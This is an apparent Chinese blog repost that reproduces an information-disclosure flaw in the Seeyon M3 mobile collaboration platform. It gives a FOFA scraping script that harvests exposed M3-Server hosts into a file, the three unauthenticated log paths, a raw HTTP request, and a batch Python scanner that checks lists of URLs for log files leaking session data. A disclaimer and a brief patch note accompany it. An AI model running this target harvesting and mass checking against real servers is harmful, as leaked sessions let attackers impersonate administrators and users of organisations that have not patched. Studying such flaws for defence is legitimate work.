(1day)致远M3 log 敏感信息泄露漏洞(Session)复现

2024-05-08 06:36

本文主要是介绍(1day)致远M3 log 敏感信息泄露漏洞(Session)复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

        系统学习web漏洞挖掘以及项目实战也有一段时间了,发现在漏洞挖掘过程中难免会碰到一些历史漏洞,来帮助自己或是提高自己挖洞和及时发现漏洞效率,于是开始创建这个专栏,对第一时间发现的1day以及历史漏洞进行复现,来让自己更加熟悉漏洞类型以及历史漏洞,方便自己在后续的项目实战中,碰到漏洞能够及时去查询和复现.

免责声明

        本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,若利用本文提供的内容或工具造成任何直接或间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关。

漏洞复现信息收集

fofa搜集

title="M3-Server"

fofa信息搜集脚本

# -*- coding: utf-8 -*-import requests
import base64
import time
from lxml import etree
import threadingdef fofa_search(search_data, page_data):# 必须要有cookieheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0','Cookie': '' # 填入自己的cookie}lock = threading.Lock()  # 创建线程锁def process_page(page):url = 'https://fofa.info/result?qbase64='search_worlds_base64 = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")urls = url + search_worlds_base64 + '&page=' + str(page) + '&page_size=10'# print(urls)  #  打印请求的URLtry:retry_count = 3while retry_count > 0:try:result = requests.get(url=urls, headers=headers, timeout=10).textbreak  # 请求成功,跳出重试循环except requests.RequestException as e:print("请求发生异常:", e)retry_count -= 1if retry_count == 0:print("请求重试次数已达上限,放弃请求")return  # 放弃当前页面的处理print("正在提取第" + str(page) + "页")# print(result)soup = etree.HTML(result, etree.HTMLParser())  # 初始化生成一个XPath解析对象ipaddr = soup.xpath('//span[@class="hsxa-host"]/a/@href')print(ipaddr)ipaddr = '\n'.join(ipaddr)print(ipaddr)with lock:  # 使用线程锁保证写入文件的互斥性with open(r'url.txt', 'a+') as f:print("写入文件中")# f.write('页面:'+str(page)+'\n'+ipdata + '\n')f.write(ipaddr + '\n')f.close()time.sleep(0.5)  # 防止速度过快导致部分数据被略过except Exception as e:print("异常:", e)max_threads = 2  # 设置最大线程数量为2,超过2会导致页面爬取内容为空threads = []for page in range(1, page_data + 1):while len(threads) >= max_threads:# 等待当前线程数量降到允许的最大值以下time.sleep(1)threads = [t for t in threads if t.is_alive()]t = threading.Thread(target=process_page, args=(page,))threads.append(t)t.start()for t in threads:t.join()print("*********数据提取完成*********")if __name__ == '__main__':# fofa语句, 采集页面数fofa_search('title="M3-Server"', 20)

一、漏洞简述

        M3—— 企业移动协同管理平台致远互联M3企业移动协同管理平台,全面覆盖各种工作场景,通过智能化的办公和业务场景融合,为企业构建新一代的移动智能工作方式。

其以下接口存在信息泄露

/mobile_portal/logs/autoLogin.log
/mobile_portal/logs/app.log
/mobile_portal/logs/requset.log

      存在未授权信息泄露,攻击者可根据泄露的session信息,伪装成通过验证的管理员/用户进行恶意操作。

二、漏洞检测poc


GET /mobile_portal/logs/autoLogin.log HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

三、漏洞检测脚本

渗透测试人员可通过该脚本进行探测自身服务是否存在此漏洞:

poc验证脚本:

poc-exp/SeeYonM3_log_InfoLeakage.py at main · ATonysan/poc-exp · GitHubDiscuss POC and Exp. Contribute to ATonysan/poc-exp development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/ATonysan/poc-exp/blob/main/SeeYonM3_log_InfoLeakage.py

import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def read_file(file_path):with open(file_path, 'r') as file:urls = file.read().splitlines()return urlsdef check(url):url = url.rstrip("/")info_paths = ['/mobile_portal/logs/autoLogin.log','/mobile_portal/logs/app.log','/mobile_portal/logs/requset.log']headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",}for path in info_paths:target = urljoin(url, path)try:response = requests.get(target, verify=False, headers=headers, timeout=15)if response.status_code == 200 and 'INFO' in response.text:print(f"\033[31mDiscovered:{target}: YSeeYonM3_log_InfoLeakage!\033[0m")return Trueexcept Exception as e:passif __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="URL")parser.add_argument("-f", "--txt", help="file")args = parser.parse_args()url = args.urltxt = args.txtif url:check(url)elif txt:urls = read_file(txt)for url in urls:check(url)else:print("help")

单个url检测漏洞:

python SeeYonM3_log_InfoLeakage.py -u url

批量检测:

python SeeYonM3_log_InfoLeakage.py -f url.txt

四、修复

官方已更新补丁,请升级至最新版本。

官网地址:https://www.seeyon.com/

这篇关于(1day)致远M3 log 敏感信息泄露漏洞(Session)复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/969575

相关文章

Python如何实现PDF隐私信息检测

《Python如何实现PDF隐私信息检测》随着越来越多的个人信息以电子形式存储和传输,确保这些信息的安全至关重要,本文将介绍如何使用Python检测PDF文件中的隐私信息,需要的可以参考下... 目录项目背景技术栈代码解析功能说明运行结php果在当今,数据隐私保护变得尤为重要。随着越来越多的个人信息以电子形

Linux内存泄露的原因排查和解决方案(内存管理方法)

《Linux内存泄露的原因排查和解决方案(内存管理方法)》文章主要介绍了运维团队在Linux处理LB服务内存暴涨、内存报警问题的过程,从发现问题、排查原因到制定解决方案,并从中学习了Linux内存管理... 目录一、问题二、排查过程三、解决方案四、内存管理方法1)linux内存寻址2)Linux分页机制3)

C#实现系统信息监控与获取功能

《C#实现系统信息监控与获取功能》在C#开发的众多应用场景中,获取系统信息以及监控用户操作有着广泛的用途,比如在系统性能优化工具中,需要实时读取CPU、GPU资源信息,本文将详细介绍如何使用C#来实现... 目录前言一、C# 监控键盘1. 原理与实现思路2. 代码实现二、读取 CPU、GPU 资源信息1.

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

在C#中获取端口号与系统信息的高效实践

《在C#中获取端口号与系统信息的高效实践》在现代软件开发中,尤其是系统管理、运维、监控和性能优化等场景中,了解计算机硬件和网络的状态至关重要,C#作为一种广泛应用的编程语言,提供了丰富的API来帮助开... 目录引言1. 获取端口号信息1.1 获取活动的 TCP 和 UDP 连接说明:应用场景:2. 获取硬

SpringBoot使用Apache Tika检测敏感信息

《SpringBoot使用ApacheTika检测敏感信息》ApacheTika是一个功能强大的内容分析工具,它能够从多种文件格式中提取文本、元数据以及其他结构化信息,下面我们来看看如何使用Ap... 目录Tika 主要特性1. 多格式支持2. 自动文件类型检测3. 文本和元数据提取4. 支持 OCR(光学

C#实现获取电脑中的端口号和硬件信息

《C#实现获取电脑中的端口号和硬件信息》这篇文章主要为大家详细介绍了C#实现获取电脑中的端口号和硬件信息的相关方法,文中的示例代码讲解详细,有需要的小伙伴可以参考一下... 我们经常在使用一个串口软件的时候,发现软件中的端口号并不是普通的COM1,而是带有硬件信息的。那么如果我们使用C#编写软件时候,如

通过C#获取PDF中指定文本或所有文本的字体信息

《通过C#获取PDF中指定文本或所有文本的字体信息》在设计和出版行业中,字体的选择和使用对最终作品的质量有着重要影响,然而,有时我们可能会遇到包含未知字体的PDF文件,这使得我们无法准确地复制或修改文... 目录引言C# 获取PDF中指定文本的字体信息C# 获取PDF文档中用到的所有字体信息引言在设计和出

C#读取本地网络配置信息全攻略分享

《C#读取本地网络配置信息全攻略分享》在当今数字化时代,网络已深度融入我们生活与工作的方方面面,对于软件开发而言,掌握本地计算机的网络配置信息显得尤为关键,而在C#编程的世界里,我们又该如何巧妙地读取... 目录一、引言二、C# 读取本地网络配置信息的基础准备2.1 引入关键命名空间2.2 理解核心类与方法

详解Java中的敏感信息处理

《详解Java中的敏感信息处理》平时开发中常常会遇到像用户的手机号、姓名、身份证等敏感信息需要处理,这篇文章主要为大家整理了一些常用的方法,希望对大家有所帮助... 目录前后端传输AES 对称加密RSA 非对称加密混合加密数据库加密MD5 + Salt/SHA + SaltAES 加密平时开发中遇到像用户的